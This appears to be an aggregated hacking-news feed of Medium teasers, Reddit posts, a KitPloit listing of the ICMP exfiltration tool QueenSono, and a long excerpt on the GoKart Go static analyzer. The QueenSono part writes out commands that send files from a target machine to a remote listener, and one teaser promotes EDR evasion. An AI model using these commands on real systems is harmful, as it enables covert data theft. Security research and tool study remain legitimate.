Hacking on Medium
Exploiting Path manipulation Vulnerability

https://cdn-images-1.medium.com/max/633/1*WeLjJ-yhZdpnuU7nb0nzIg.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Writer: HackTheBox Walkthrough

https://cdn-images-1.medium.com/max/900/1*baChbSE_WF3Gsh4oJ0F_Bw.jpeg
Description

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
NMAP for Beginners: Tutorial

https://cdn-images-1.medium.com/max/1400/1*h47TysMNj-na6dn0mxJ-6Q.png
Well hello there my fellow Hackers and people reading this article, hope you are doing great! Been a long time I am publishing another…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
A Beginner’s Guide to EDR Evasion

https://cdn-images-1.medium.com/max/2225/1*1gKTDUWOWW8ov3LeHc7RCA.jpeg
Or, how to get past Crowdstrike/Defender ATP/Carbon Black on your next engagement

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
QueenSono - Golang Binary For Data Exfiltration With ICMP Protocol

https://1.bp.blogspot.com/-p5_2_IEv9P8/YUuqKRcI1rI/AAAAAAAAvSg/hsnZHGNuRTEP9G-_v8lbWCSQYvVXbj3XQCNcBGAsYHQ/w640-h270/QueenSono_2_qssono-trunc.gif QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful) Install> Install the binary from source

Clone the repo and download the dependencies locally: git clone https://github.com/ariary/QueenSono.git
make before.build To build the ICMP packet sender qssender: build.queensono-sender To build the ICMP packet receiver qsreceiver: build.queensono-receiver Usageqssenderis the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine. qsreceiveris the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --helpExample 1: Send with "ACK"> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK). https://1.bp.blogspot.com/-mDD0xXmoAd0/YUup-c0l0aI/AAAAAAAAvSc/KwlmdWaRXWYLWELL21Bz-rh-UIUYPSsuwCNcBGAsYHQ/w640-h270/QueenSono_1_qssono.gif On local machine: $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt Explanation* -l 0.0.0.0listen on all interfaces for ICMP packet
* -f received_bible.txtsave received data in a file
* -pshow a progress bar of received data
On target machine: $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt Explanation* send filefor sending file (bible.txt is the file in question)
* -d 2send a packet each 2 seconds
* -l 127.0.0.1the listening address for echo reply* -r 10.0.0.92the address of my remote machine with qsreceiverlistening
* -s 50000the data size I want to send in each packet Example 2: Send without "ACK"> In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet) https://1.bp.blogspot.com/-p5_2_IEv9P8/YUuqKRcI1rI/AAAAAAAAvSg/hsnZHGNuRTEP9G-_v8lbWCSQYvVXbj3XQCNcBGAsYHQ/w640-h270/QueenSono_2_qssono-trunc.gif On local machine: $ qsreceiver receive truncated 1 -l 0.0.0.0 Explanation* receive truncated 1does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender)
On target machine: $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 go.mod -s 1 -N Explanation
* -Nnoreply option (don't wait for echo reply) Notes* only work on Linux (due to the use of golang net icmp package)
* need cap_net_raw capabilitiesDownload QueenSono

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Awesome Repository of Useful Tools For Cyber Enthusiasts

https://external-preview.redd.it/AP5-QX6ClsABl7AuDvMnhZo2aMPPnD9WTpgrqyFZsLI.jpg?width=320&crop=smart&auto=webp&s=3599287ce55bca3952bc643708c03206ab32bb21 submitted by /u/entropydaemon3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Alfa network wifi card or something else?

HiAfter few years I want to test some things and I need access to wifi. Is it still better to buy wifi card from Alfa network than use built in? Maybe now is there better company?

submitted by /u/asokopo
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Computer recommendations

Hi, I’m looking to get a laptop computer just to shop the markets, can anybody recommend a affordable one like from amazon what basics would I need? It would be only used for searching the deep web and nothing else, thanks in advance for any pointers for a noob haha

submitted by /u/Greengoldtf
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Help! I Am Caught In A Catch-22 Situ

https://cdn-images-1.medium.com/max/828/1*rx8sQdw91iV_bmBko005kw@2x.jpeg
Why can’t Twitter get me my stolen account back?

Continue reading on The Bad Influence »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Git Happens TryHackMe Walkthrough

https://cdn-images-1.medium.com/max/640/1*uvVseAVvFS575Ri8s-Q43w.png
We will start this walkthrough by running autorecon on the target IP address.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Gokart : A Static Analysis Tool For Securing Go Code

GoKart is a static analysis tool for Go that finds vulnerabilities using the SSA (single static assignment) form of Go source code. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe, which reduces the number of false positives compared to other Go security scanners. For instance, a SQL query that is concatenated with a variable might traditionally be flagged as SQL injection; however, GoKart can figure out if the variable is actually a constant or constant equivalent, in which case there is no vulnerability. Why We Built GoKart

Static analysis is a powerful technique for finding vulnerabilities in source code. However, the approach has suffered from being noisy – that is, many static analysis tools find quite a few “vulnerabilities” that are not actually real. This has led to developer friction as users get tired of the tools “crying wolf” one time too many.

The motivation for GoKart was to address this: could we create a scanner with significantly lower false positive rates than existing tools? Based on our experimentation the answer is yes. By leveraging source-to-sink tracing and SSA, GoKart is capable of tracking variable taint between variable assignments, significantly improving the accuracy of findings. Our focus is on usability: pragmatically, that means we have optimized our approaches to reduce false alarms.

For more information, please read our blog post.

Introducing GoKart, A Smarter Go Security Scanner

At Praetorian, we’re committed to promoting and contributing to open source security projects and radically focused on developing technologies to enhance the overall state of cybersecurity. We love when our passions and business commitments overlap so today we’re stoked to announce the initial release of GoKart – a smarter security scanner for Go.

GoKart is our first foray into our new open source security strategy where we aim to seed the community with tools containing a set of baseline capabilities in the hope that it will spur further progression. Rather than attempting to craft rules for specific security concerns, we’ve focused on the release of several high-level analyzers using the Go analysis package which provide capabilities we’ve found missing from existing open source projects. Our goal is to engage and excite the community with this first release with additional features based on direct user feedback. The vision is to become the manufacturing and maintenance organization for the GoKart engine – allowing others to focus on fine tuning and building the cart while driving a higher performance machine.

Static analysis tools are a key part of a modern development pipeline and used in various forms throughout the development lifecycle. In IDEs, syntax checkers catch errors before you even click the Compile button. Behind the scenes, they determine whether source code has a valid form and structure, resolve type information, and perform optimization during compilation. Even code autocompletion methods are based upon simple static analysis that helps prompt the programmer for what goes next. All these itools are great… but where things get exciting, at least for us, is when we apply these approaches to source code for the purposes of identifying security vulnerabilities. Done right, static application security testing (SAST) has the potential to reduce costs at the same time as improving security and productivity. That’s a pretty good outcome.

Compared to dynamic analysis, which actually runs a program, requiring code to be complete and in a fully buildable state, static testing is much more suitable to perform early and often within the development process. Since static analysis only considering the source code, there is no need to [...]

___________________________
@hacking_Attack
@Hacking_Video

set up a custom testing environment, alleviating the need for costly and complex replication and sandboxing of a production web server, firewall, microservices, etc. By its very nature, static analysis provides visibility and analysis coverage of any source file contained in a local development build. Although more advanced static analysis techniques require the creation of custom rules and configurations which are complex to setup and use effectively, the truth that often gets lost in the noise is that static application security testing (SAST) can also be very fast, easy to use and are essential to delivering high quality code and enforcing consistent secure coding standards.

In a security context, SAST can be instrumental in detecting common insecure programming patterns early and enforcing secure coding standards throughout the development lifecycle. SAST has the benefits of being scalable and fast, allowing it to be integrated into a CI/CD pipeline. Praetorian offers its own CI/CD security platform, Chariot, which can apply SAST to every commit. As GoKart evolves it will be included as one of Chariot’s available scanners to add additional context for developers, allowing them to not only find issues quickly, but also give them helpful information to allow them to resolve them. Better still, this service is provided free and is foundational to our comprehensive view into the security posture of infrastructure and code across an enterprise.

For the past decade, static analysis techniques have evolved from their humble origins. Whereas early linting services may have just applied simple RegEx rules to code, more modern approaches leverage data flow analysis, where user controllable data is tracked from user input through a call graph representation of the application and propagated to all functions known to be susceptible to a particular type of exploit. At the bleeding edge of research, static analysis techniques developed in the academic realm have shifted to use of symbolic execution, model checking, constraint analysis and formal methods to create much more powerful capabilities for modeling and evaluation of source code. Meanwhile back in the real security world, commercial tools have struggled to really leverage these more complex and computationally intensive techniques, generally opting for increased language breadth over analysis depth. Worse yet, for the rest of the development world which relies on scouring Github to find and customize our security tools, we’ve discovered that even the data flow techniques pioneered 20 years ago haven’t yet broken out of their corporate cages. Instead, the majority of open source SAST tools have reverted to a grep-like pattern matching strategy, either on the source code directly or on an Abstract Syntax Tree (AST) representation of the program.

Why Did We Make GoKart?

At Praetorian, we eat our own dog food. Given our history of using Go for our offensive tooling development and our recent shift from Java Spring based micro-services to a more efficient, flexible and secure, fully containerized, Kubernetes based architecture using Go to streamline the Chariot platform, we felt strongly about improving the current state of automated Go security analysis.

Over the past decade, commercial SAST tools have gained a reputation for being overly complex to use, noisy and inaccurate, and costly to acquire and maintain. Their compiler based analysis engines, which worked well for statically typed languages like C++, Java and C#, have struggled to adapt their techniques to dynamically typed languages like JavaScript or Python and have been slow to embrace the cloud native paradigms of Docker, Kubernetes and Go. Open source security scanners, on the other hand, have been created in swarms but are typically not sophisticated enough to prove that a given finding was really a security threat or work reliably and accurately enough to be trusted to be run in an automated, u[...]

___________________________
@hacking_Attack
@Hacking_Video

naided manner.

The most notable challenge to the adoption of all the tools is a high false positive rate and a lack of proof showing exactly why a flagged item is vulnerable. For example, many security scanners will simply report that a particular line of code has a security problem without showing the path to exploitation that an attacker would take. Other tools have more evolved much more complex capabilities but require both security acumen and query language programming expertise. In practice, these shortcomings have contributed to false positive fatigue and a mentality of needing to wrestle with the scanner until the warnings went away. GoKart aims to address these issues by providing a user friendly, more accurate and less noisy experience and helping developers discover and understand full attack paths for high impact issues quickly and confidently.

In creating GoKart, we were inspired by gosec, currently the most widely used Go security scanner, were impressed by its ease of use but wanted to see if we could improve upon its current results. Gosec contains thirty rules that apply pattern matching to an abstract syntax tree (AST) representation of Go code. Using the language’s AST helps gosec know exactly where each expression, constant, and function is in relation to other language constructs and prevents any sort of “misread” of code structure. On the security front, gosec handles a variety of issues from SQL injection and decompression bombs to short cryptographic key lengths and outdated TLS settings. The main analysis capability which gosec currently lacks is the ability to perform ‘taint tracking’ or determining code paths where user controllable data could potentially reach a vulnerable function. Addition of taint tracking would allow rules to be written in a way to greatly reduce false positive results associated with more simplistic signature, text or AST-pattern matching. Additionally, gosec may not reveal a potential attack path if the problem isn’t contained exactly where it is expected, producing a false sense of security for users and provoking further mistrust among security professionals. For instance, an adversary might have control over a string which is later used to construct a query leading to SQL injection far earlier in the program execution than when the SQL query gets executed; similarly, a constant value used as a size parameter for creation of an RSA key could be initialized by one function, modified by a second, before being used by the third. In each case, the attack path or security flaw might originate in a different function or even a different file, and without taint tracking or data flow analysis these conditions will likely go undetected. Picking up where gosec leaves off, GoKart first identifies potentially vulnerable functions in source code, and then traces the input of those functions back to their source. If the input source may be controlled by a user (such as in SQL injection), or if the input source is otherwise defined as “vulnerable” (like a short key length in an RSA key generator), GoKart will output the vulnerability.

How Does GoKart Work?

When designing GoKart our focus was to provide visibility into high impact findings in Go which provides significant value to our security engineers performing code reviews in the field as well as our own developers building new tools. We added capabilities to perform a lightweight version of taint propagation and analyzers utilizing these for several of the most interesting and prevalent vulnerabilities we find when performing manual code reviews on applications developed in Go: Command Injection, Path Traversal and Server Side Request Forgery. By adding the ability to customize GoKart with new Sinks for creating additional vulnerability types as well as Sources of user input tailored to a specific enterprise threat model. Based on our limited testing, we believe we’ve struck the correct balance between tool flexib[...]

___________________________
@hacking_Attack
@Hacking_Video